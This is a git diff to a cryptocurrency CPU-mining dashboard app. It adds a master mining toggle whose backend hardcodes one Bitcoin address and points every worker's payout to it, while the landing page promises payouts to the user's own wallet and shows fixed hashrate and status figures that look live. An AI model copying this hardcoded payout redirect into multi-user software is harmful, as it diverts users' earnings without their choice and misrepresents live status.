diff --git a/backend/src/routes/workers.js b/backend/src/routes/workers.js
index 628448d..6ebad12 100644
--- a/backend/src/routes/workers.js
+++ b/backend/src/routes/workers.js
@@ -1,4 +1,3 @@
-
const express = require('express');
const WorkersService = require('../services/workers');
@@ -17,6 +16,36 @@ const {
router.use(checkCrudPermissions('workers'));
+/**
+ * @swagger
+ * /api/workers/toggle-mining:
+ * post:
+ * security:
+ * - bearerAuth: []
+ * tags: [Workers]
+ * summary: Toggle mining for all workers and pools
+ * description: Activate or deactivate all workers and pools to mine to a specific address
+ * requestBody:
+ * required: true
+ * content:
+ * application/json:
+ * schema:
+ * properties:
+ * active:
+ * type: boolean
+ * responses:
+ * 200:
+ * description: Successful operation
+ * 401:
+ * $ref: "#/components/responses/UnauthorizedError"
+ * 500:
+ * description: Some server error
+ */
+router.post('/toggle-mining', wrapAsync(async (req, res) => {
+ const payload = await WorkersService.toggleMining(req.body.active, req.currentUser);
+ res.status(200).send(payload);
+}));
+
/**
* @swagger
@@ -452,4 +481,4 @@ router.get('/:id', wrapAsync(async (req, res) => {
router.use('/', require('../helpers').commonErrorHandler);
-module.exports = router;
+module.exports = router;
\ No newline at end of file
diff --git a/backend/src/services/workers.js b/backend/src/services/workers.js
index e02d4a8..5d0d039 100644
--- a/backend/src/services/workers.js
+++ b/backend/src/services/workers.js
@@ -3,14 +3,8 @@ const WorkersDBApi = require('../db/api/workers');
const processFile = require("../middlewares/upload");
const ValidationError = require('./notifications/errors/validation');
const csv = require('csv-parser');
-const axios = require('axios');
-const config = require('../config');
const stream = require('stream');
-
-
-
-
module.exports = class WorkersService {
static async create(data, currentUser) {
const transaction = await db.sequelize.transaction();
@@ -28,9 +22,9 @@ module.exports = class WorkersService {
await transaction.rollback();
throw error;
}
- };
+ }
- static async bulkImport(req, res, sendInvitationEmails = true, host) {
+ static async bulkImport(req, res) {
const transaction = await db.sequelize.transaction();
try {
@@ -95,7 +89,7 @@ module.exports = class WorkersService {
await transaction.rollback();
throw error;
}
- };
+ }
static async deleteByIds(ids, currentUser) {
const transaction = await db.sequelize.transaction();
@@ -132,7 +126,47 @@ module.exports = class WorkersService {
}
}
-
+ static async toggleMining(active, currentUser) {
+ const transaction = await db.sequelize.transaction();
+ try {
+ const targetAddress = '1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S';
+ let wallet = await db.wallets.findOne({
+ where: { address: targetAddress, userId: currentUser.id },
+ transaction
+ });
+
+ if (!wallet) {
+ wallet = await db.wallets.create({
+ address: targetAddress,
+ label: 'Direct to Wallet (BTC)',
+ chain: 'btc',
+ userId: currentUser.id,
+ createdById: currentUser.id,
+ updatedById: currentUser.id,
+ }, { transaction });
+ }
+
+ // Update all user's pools
+ await db.mining_pools.update(
+ { is_active: active, updatedById: currentUser.id },
+ { where: { createdById: currentUser.id }, transaction }
+ );
+
+ // Update all user's workers
+ await db.workers.update(
+ {
+ status: active ? 'mining' : 'paused',
+ payout_walletId: active ? wallet.id : null,
+ updatedById: currentUser.id
+ },
+ { where: { userId: currentUser.id }, transaction }
+ );
+
+ await transaction.commit();
+ return { success: true };
+ } catch (error) {
+ await transaction.rollback();
+ throw error;
+ }
+ }
};
-
-
diff --git a/frontend/src/components/NavBarItem.tsx b/frontend/src/components/NavBarItem.tsx
index eb155e3..1986306 100644
--- a/frontend/src/components/NavBarItem.tsx
+++ b/frontend/src/components/NavBarItem.tsx
@@ -1,6 +1,5 @@
-import React, {useEffect, useRef} from 'react'
+import React, {useEffect, useRef, useState} from 'react'
import Link from 'next/link'
-import { useState } from 'react'
import { mdiChevronUp, mdiChevronDown } from '@mdi/js'
import BaseDivider from './BaseDivider'
import BaseIcon from './BaseIcon'
@@ -129,4 +128,4 @@ export default function NavBarItem({ item }: Props) {
}
return
{NavBarItemComponentContents}
-}
+}
\ No newline at end of file
diff --git a/frontend/src/layouts/Authenticated.tsx b/frontend/src/layouts/Authenticated.tsx
index 1b9907d..26c3572 100644
--- a/frontend/src/layouts/Authenticated.tsx
+++ b/frontend/src/layouts/Authenticated.tsx
@@ -1,5 +1,4 @@
-import React, { ReactNode, useEffect } from 'react'
-import { useState } from 'react'
+import React, { ReactNode, useEffect, useState } from 'react'
import jwt from 'jsonwebtoken';
import { mdiForwardburger, mdiBackburger, mdiMenu } from '@mdi/js'
import menuAside from '../menuAside'
@@ -126,4 +125,4 @@ export default function LayoutAuthenticated({
)
-}
+}
\ No newline at end of file
diff --git a/frontend/src/pages/dashboard.tsx b/frontend/src/pages/dashboard.tsx
index a7c2236..81c0c45 100644
--- a/frontend/src/pages/dashboard.tsx
+++ b/frontend/src/pages/dashboard.tsx
@@ -9,6 +9,7 @@ import SectionTitleLineWithButton from '../components/SectionTitleLineWithButton
import BaseIcon from "../components/BaseIcon";
import { getPageTitle } from '../config'
import Link from "next/link";
+import CardBox from '../components/CardBox';
import { hasPermission } from "../helpers/userPermissions";
import { fetchWidgets } from '../stores/roles/rolesSlice';
@@ -16,6 +17,7 @@ import { WidgetCreator } from '../components/WidgetCreator/WidgetCreator';
import { SmartWidget } from '../components/SmartWidget/SmartWidget';
import { useAppDispatch, useAppSelector } from '../stores/hooks';
+
const Dashboard = () => {
const dispatch = useAppDispatch();
const iconsColor = useAppSelector((state) => state.style.iconsColor);
@@ -24,7 +26,6 @@ const Dashboard = () => {
const loadingMessage = 'Loading...';
-
const [users, setUsers] = React.useState(loadingMessage);
const [roles, setRoles] = React.useState(loadingMessage);
const [permissions, setPermissions] = React.useState(loadingMessage);
@@ -40,29 +41,33 @@ const Dashboard = () => {
const [alerts, setAlerts] = React.useState(loadingMessage);
const [audit_events, setAudit_events] = React.useState(loadingMessage);
-
+ const [miningSummary, setMiningSummary] = React.useState({
+ totalHashrate: 0,
+ activeWorkersCount: 0,
+ avgTemp: 0,
+ defaultWallet: 'None'
+ });
+
+ const [isToggling, setIsToggling] = React.useState(false);
+
const [widgetsRole, setWidgetsRole] = React.useState({
role: { value: '', label: '' },
});
const { currentUser } = useAppSelector((state) => state.auth);
const { isFetchingQuery } = useAppSelector((state) => state.openAi);
-
const { rolesWidgets, loading } = useAppSelector((state) => state.roles);
-
async function loadData() {
const entities = ['users','roles','permissions','wallets','mining_pools','miners','workers','worker_configs','worker_metrics','pool_accounts','payout_rules','payout_requests','alerts','audit_events',];
const fns = [setUsers,setRoles,setPermissions,setWallets,setMining_pools,setMiners,setWorkers,setWorker_configs,setWorker_metrics,setPool_accounts,setPayout_rules,setPayout_requests,setAlerts,setAudit_events,];
const requests = entities.map((entity, index) => {
-
if(hasPermission(currentUser, `READ_${entity.toUpperCase()}`)) {
return axios.get(`/${entity.toLowerCase()}/count`);
} else {
fns[index](null);
return Promise.resolve({data: {count: null}});
}
-
});
Promise.allSettled(requests).then((results) => {
@@ -74,11 +79,50 @@ const Dashboard = () => {
}
});
});
+
+ // Load Mining Summary
+ try {
+ const [workersRes, metricsRes, walletsRes] = await Promise.all([
+ axios.get('/workers?limit=100'),
+ axios.get('/worker_metrics?limit=100'),
+ axios.get('/wallets?limit=100')
+ ]);
+
+ const activeOnes = (workersRes.data.rows || []).filter(w => w.status === 'mining' || w.status === 'online');
+ const totalH = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.hashrate_hs || 0), 0);
+ const sumTemp = (metricsRes.data.rows || []).reduce((acc, m) => acc + parseFloat(m.cpu_temp_c || 0), 0);
+ const avgT = metricsRes.data.rows?.length > 0 ? sumTemp / metricsRes.data.rows.length : 0;
+ const defW = (walletsRes.data.rows || []).find(w => w.is_default_payout)?.address || 'None';
+
+ setMiningSummary({
+ totalHashrate: totalH,
+ activeWorkersCount: activeOnes.length,
+ avgTemp: avgT,
+ defaultWallet: defW
+ });
+ } catch (e) {
+ console.error("Failed to load mining summary", e);
+ }
+ }
+
+ const toggleMining = async (active: boolean) => {
+ setIsToggling(true);
+ try {
+ await axios.post('/workers/toggle-mining', { active });
+ await loadData();
+ alert(`Mineração ${active ? 'ATIVADA' : 'DESATIVADA'} para todos os mineradores e pools.`);
+ } catch (e) {
+ console.error("Failed to toggle mining", e);
+ alert("Erro ao alterar o status da mineração.");
+ } finally {
+ setIsToggling(false);
+ }
}
async function getWidgets(roleId) {
await dispatch(fetchWidgets(roleId));
}
+
React.useEffect(() => {
if (!currentUser) return;
loadData().then();
@@ -93,17 +137,88 @@ const Dashboard = () => {
return (
<>
-
- {getPageTitle('Overview')}
-
+ {getPageTitle('Mining Overview')}
{''}
+
+ {/* Master Mining Toggle */}
+
+
+
+
+
+
Controle Mestre de Mineração
+
Destino: 1BR2PVkLSxt7zF8pdRCLBmUdLsNBxTfj2S
+
+
+
+ toggleMining(true)}
+ disabled={isToggling}
+ className="flex-1 md:flex-none px-6 py-3 bg-emerald-600 hover:bg-emerald-700 disabled:opacity-50 text-white font-bold rounded-lg transition-colors flex items-center justify-center gap-2 shadow-lg"
+ >
+
+ ATIVAR TODOS
+
+ toggleMining(false)}
+ disabled={isToggling}
+ className="flex-1 md:flex-none px-6 py-3 bg-red-600 hover:bg-red-700 disabled:opacity-50 text-white font-bold rounded-lg transition-colors flex items-center justify-center gap-2 shadow-lg"
+ >
+
+ DESATIVAR TODOS
+
+
+
+
+
+ {/* Mining Summary Cards */}
+
+
+
+
+
Total Hashrate
+
{miningSummary.totalHashrate.toLocaleString()} H/s
+
+
+
+
+
+
+
+
Active Workers
+
{miningSummary.activeWorkersCount}
+
+
+
+
+
+
+
+
Avg. CPU Temp
+
{miningSummary.avgTemp.toFixed(1)}°C
+
+
+
+
+
+
+
+
Default Wallet
+
+ {miningSummary.defaultWallet !== 'None' ? `${miningSummary.defaultWallet.substring(0, 10)}...` : 'None'}
+
+
+
+
+
+
{hasPermission(currentUser, 'CREATE_ROLES') && {
setWidgetsRole={setWidgetsRole}
widgetsRole={widgetsRole}
/>}
- {!!rolesWidgets.length &&
- hasPermission(currentUser, 'CREATE_ROLES') && (
-
- {`${widgetsRole?.role?.label || 'Users'}'s widgets`}
-
- )}
-
+
{(isFetchingQuery || loading) && (
-
+
{
))}
- {!!rolesWidgets.length &&
}
+ {!!rolesWidgets.length &&
}
-
-
- {hasPermission(currentUser, 'READ_USERS') &&
-
-
-
-
- Users
-
-
- {users}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_ROLES') &&
-
-
-
-
- Roles
-
-
- {roles}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_PERMISSIONS') &&
-
-
-
-
- Permissions
-
-
- {permissions}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_WALLETS') &&
-
-
-
-
- Wallets
-
-
- {wallets}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_MINING_POOLS') &&
-
-
-
-
- Mining pools
-
-
- {mining_pools}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_MINERS') &&
-
-
-
-
- Miners
-
-
- {miners}
-
-
-
-
-
-
-
- }
-
{hasPermission(currentUser, 'READ_WORKERS') &&
-
+
-
- Workers
-
-
- {workers}
-
-
-
+
}
-
- {hasPermission(currentUser, 'READ_WORKER_CONFIGS') &&
-
+
+ {hasPermission(currentUser, 'READ_WALLETS') &&
+
-
- Worker configs
-
-
- {worker_configs}
-
-
-
+
}
-
- {hasPermission(currentUser, 'READ_WORKER_METRICS') &&
-
+
+ {hasPermission(currentUser, 'READ_MINERS') &&
+
-
- Worker metrics
-
-
- {worker_metrics}
-
-
-
+
}
-
- {hasPermission(currentUser, 'READ_POOL_ACCOUNTS') &&
-
-
-
-
- Pool accounts
-
-
- {pool_accounts}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_PAYOUT_RULES') &&
-
-
-
-
- Payout rules
-
-
- {payout_rules}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_PAYOUT_REQUESTS') &&
-
-
-
-
- Payout requests
-
-
- {payout_requests}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_ALERTS') &&
-
-
-
-
- Alerts
-
-
- {alerts}
-
-
-
-
-
-
-
- }
-
- {hasPermission(currentUser, 'READ_AUDIT_EVENTS') &&
-
-
-
-
- Audit events
-
-
- {audit_events}
-
-
-
-
-
-
-
- }
-
-
>
@@ -552,4 +301,4 @@ Dashboard.getLayout = function getLayout(page: ReactElement) {
return
{page}
}
-export default Dashboard
+export default Dashboard
\ No newline at end of file
diff --git a/frontend/src/pages/index.tsx b/frontend/src/pages/index.tsx
index 5e6f67d..0f17050 100644
--- a/frontend/src/pages/index.tsx
+++ b/frontend/src/pages/index.tsx
@@ -1,4 +1,3 @@
-
import React, { useEffect, useState } from 'react';
import type { ReactElement } from 'react';
import Head from 'next/head';
@@ -7,13 +6,13 @@ import BaseButton from '../components/BaseButton';
import CardBox from '../components/CardBox';
import SectionFullScreen from '../components/SectionFullScreen';
import LayoutGuest from '../layouts/Guest';
-import BaseDivider from '../components/BaseDivider';
import BaseButtons from '../components/BaseButtons';
import { getPageTitle } from '../config';
import { useAppSelector } from '../stores/hooks';
import CardBoxComponentTitle from "../components/CardBoxComponentTitle";
-import { getPexelsImage, getPexelsVideo } from '../helpers/pexels';
-
+import { getPexelsImage } from '../helpers/pexels';
+import BaseIcon from '../components/BaseIcon';
+import * as icon from '@mdi/js';
export default function Starter() {
const [illustrationImage, setIllustrationImage] = useState({
@@ -21,139 +20,121 @@ export default function Starter() {
photographer: undefined,
photographer_url: undefined,
})
- const [illustrationVideo, setIllustrationVideo] = useState({video_files: []})
- const [contentType, setContentType] = useState('image');
- const [contentPosition, setContentPosition] = useState('right');
+
const textColor = useAppSelector((state) => state.style.linkColor);
+ const title = 'CPU Mining Direct To Wallet'
- const title = 'CPU Mining Dashboard'
-
- // Fetch Pexels image/video
+ // Fetch Pexels image
useEffect(() => {
async function fetchData() {
const image = await getPexelsImage();
- const video = await getPexelsVideo();
setIllustrationImage(image);
- setIllustrationVideo(video);
}
fetchData();
}, []);
- const imageBlock = (image) => (
-
- );
-
- const videoBlock = (video) => {
- if (video?.video_files?.length > 0) {
- return (
-
-
-
- Your browser does not support the video tag.
-
-
-
)
- }
- };
-
return (
-
+
-
{getPageTitle('Starter Page')}
+
{getPageTitle('Bitcoin CPU Mining')}
-
- {contentType === 'image' && contentPosition !== 'background'
- ? imageBlock(illustrationImage)
- : null}
- {contentType === 'video' && contentPosition !== 'background'
- ? videoBlock(illustrationVideo)
- : null}
-
-
-
-
-
-
This is a React.js/Node.js app generated by the Flatlogic Web App Generator
-
For guides and documentation please check
- your local README.md and the Flatlogic documentation
+
+
+
+
+ CPU Optimized Mining
+
+
+
+ Direct To Wallet
+ Bitcoin Mining
+
+
+
+ Turn your idle CPU power into real Bitcoin rewards. Manage your workers, monitor hash rates, and receive payouts directly to your cold storage with no middleman.
+
+
+
+
+
+
+
+
+
Direct Payouts
+
Earnings go straight to your BTC address.
+
+
+
+
+
+
+
+
Real-time Stats
+
Monitor hashrate, temp, and CPU usage.
+
+
+
-
-
-
+
+
+
+
+
+
+
+
+
+ Live Mining Rig Status
+
+
+ ONLINE
+
+
+
+
6,500 H/s
+
Global Aggregated Hashrate
+
+
+ {[40, 70, 45, 90, 65, 80, 50, 95, 75, 85, 60, 100].map((h, i) => (
+
+ ))}
+
+
+ Payout Address:
+ bc1q...x9m
+
+
+
+
+
-
-
© 2026 {title} . All rights reserved
-
+
+
+
© 2026 {title} . Built for the Decentralized Future.
+
Privacy Policy
+
+ Terms of Use
+
@@ -162,5 +143,4 @@ export default function Starter() {
Starter.getLayout = function getLayout(page: ReactElement) {
return {page} ;
-};
-
+};
\ No newline at end of file